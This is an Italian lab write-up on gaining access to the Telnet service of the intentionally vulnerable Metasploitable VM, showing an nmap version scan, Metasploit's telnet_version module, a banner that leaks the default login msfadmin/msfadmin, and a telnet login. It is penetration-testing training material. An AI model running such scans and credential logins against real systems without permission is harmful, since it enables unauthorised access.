Exploit Telnet con Metasploit

Per exploit si intende un programma, script o codice che sfrutta le vulnerabilità di software e hardware per ottenere l’accesso a sistemi informatici.

Metasploit è un framework opensource che usato per lo sviluppo di exploit. Contiene più di 2000 exploits e 1300 payloads creati dalla community. Può essere utilizzato per creare e automatizzare i propri exploit.

Nella consegna di oggi lo utilizzerò per exploitare il servizio telnet della macchina metaspoitable.

Telnet è un protocollo di rete client-server del livello sessione ISO/OSI che consente l’accesso remoto alla macchina server sulla porta TCP 23. Non è un protocollo sicuro perché non prevede la crittografia dei dati trasmessi, che potrebbero essere facilmente sniffati tramite wireshark o tcpdump.

Come prima cosa verifico con nmap se il servizio è attivo sulla macchina target.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-17 10:25 CET
Nmap scan report for 192.168.1.40
Host is up (0.00080s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
```

Avvio la console di metasploit e seleziono il modulo auxiliary telnet_version. Rispetto ai moduli exploit gli auxiliary si concentrano più sulla raccolta informazioni di una rete o il test della sicurezza di un sistema.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Imposto l’IP del target con RHOSTS e avvio l’exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
                                        l
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

A quanto pare le informazioni del login sono presenti in chiaro nel banner di accesso al servizio.

```
[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                  _                    \x0a _ __ ___   ___| |_ __ _ ___ _
__ | | ___ (_) |_ __ _| |__ | | ___| |__ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ ||
(_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a
                   |_|                                 \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aConta
ct: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
```

Provo ad accedere con il comando telnet e il target ip 192.168.1.40 e voilà ho accesso completo alla macchina target.